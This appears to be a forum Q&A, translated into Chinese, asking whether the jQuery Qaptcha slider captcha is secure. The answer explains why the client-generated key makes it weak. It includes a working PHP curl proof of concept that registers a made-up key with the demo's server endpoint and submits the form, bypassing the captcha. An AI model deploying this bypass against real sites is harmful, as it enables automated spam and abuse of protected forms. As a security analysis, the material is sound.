jquery - Qaptcha - 有效吗？

Question

在这里查看 JQuery Qaptcha 的演示 - http://www.myjqueryplugins.com/QapTcha/demo

它需要你滑动 slider 来解锁并证明你是人类。我已经阅读了有关如何设置随机字段值并删除它们的所有内容，但是这一切不是都是通过 javascript 调用完成的吗？如果是这样，那么机器人是否只需要运行 javascript 方法，然后 qaptcha 就被破坏了？

帮助我了解这是如何安全的......

Answer 1

不幸的是，这不是似乎是一个安全的验证码。

本文末尾是一些可以绕过它的示例代码。我编写这个脚本时没有查看任何源代码(php 或 javascript)。我只是嗅探了一些 HTTP 请求，了解它在做什么并尝试模拟它。我现在已经查看了他们的 JS 代码，但仍然没有查看 PHP 代码，因此即使没有看到任何源代码，也可以绕过它。

我根据成功和失败快速猜测它是如何工作的:

• 您在其页面上加载表单，创建一个 PHP session ，其中可能没有数据。
• 加载 JS 脚本，生成 qaptcha_key 并将其附加到表单。
• 此 key 由 JavaScript 创建，尚未存储在服务器上。
• 将 slider 移动到右侧，jQuery 通过 Ajax 将“qaptcha_key”发布到 PHP，然后 key 存储在 session 中( key 不是 secret 的)。
• 您提交的表单包含 qaptcha_key，如果您移动 slider ，该表单之前会通过 Ajax 发送。
• 如果 session 中存在匹配的 qaptcha_key(通过移动 slider )，则该表单被视为有效。如果不存在这样的 key ，他们会假设您没有移动 slider (或禁用了 JS)，并且由于 session 不包含 qaptcha_key，因此表单无效。

可以使其更安全吗？在我看来并不容易。为了安全起见， secret 必须存储在服务器上，并且不能通过任何脚本或对服务器的 HTTP 请求轻松获取。也就是说，基于某些公共(public)值发出 Ajax 请求来验证自己的身份，仍然可以使用 Ajax 或 HTTP 请求进行欺骗，如下例所示。基本上，验证码解决方案必须存储在服务器上，并由人类(希望不是计算机)解释并发送回服务器。

这是您可以运行来绕过它的代码。基本上，如果你运行这个，你会看到:

Form can be submited
First Name : A Test
Last Name : Of Qaptcha

在结果输出中。正如您在代码中看到的，我只是一遍又一遍地使用相同的 key 。 key 是什么并不重要，因为客户端会通知服务器 key ，并且当您提交表单时，Qaptcha 只是检查随表单一起提交的值是否与 PHP session 中存储的值匹配。因此键的值是无关紧要的，您只需在提交表单之前告诉服务器它是什么即可。

我怀疑垃圾邮件发送者实现广泛使用的 Qaptcha 表单旁路并将其集成到他们的蜘蛛中只是时间问题。

概念证明:

<?php

$COOKIE_FILE = '/tmp/cookies.txt';  // The cookie file to use for storing the PHP session ID cookie
$FIRST_NAME  = 'A Test';            // first name to send
$LAST_NAME   = 'Of Qaptcha';        // last name to send

if (file_exists($COOKIE_FILE)) unlink($COOKIE_FILE); // clear cookies on start - just prevents re-using the same PHPSESSID over and over

$fake_qaptcha_key = 'thisIsAFakeKey12345';  // arbitrary qaptcha_key - normally generated by client JavaScript

// fetch the form - this creates a PHP session and gives us a cookie (yum)
$first = fetch_url('http://demos.myjqueryplugins.com/qaptcha/');

// This step is important - this stores a "qaptcha_key" in the PHP session that matches our session cookie
// We can make the key up in this step, it doesn't matter what it is or where it came from
$params = array('action' => 'qaptcha', 'qaptcha_key' => $fake_qaptcha_key);
$second = fetch_url('http://demos.myjqueryplugins.com/qaptcha/php/Qaptcha.jquery.php', 'POST', $params);

// Now submit the form along with the same qaptcha_key we told the server about in the last step
// As long as a form field is submitted that has the same name as the qaptcha_key we just told the server about, the captcha is bypassed
$params = array('firstname' => $FIRST_NAME, 'lastname' => $LAST_NAME, $fake_qaptcha_key => '', 'submit' => 'Submit Form');
$third  = fetch_url('http://demos.myjqueryplugins.com/qaptcha/', 'POST', $params);

// echo the contents so you can see it said form was accepted.
echo $third;


// basic function that uses curl to fetch a URL with get/post
function fetch_url($url, $method = 'GET', $params = array())
{
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_COOKIEJAR, $GLOBALS['COOKIE_FILE']);
    curl_setopt($ch, CURLOPT_COOKIEFILE, $GLOBALS['COOKIE_FILE']);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

    if ($method == 'POST') {
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params));
    }

    $return = curl_exec($ch);

    return $return;
}

我希望能够清楚地回答您的问题。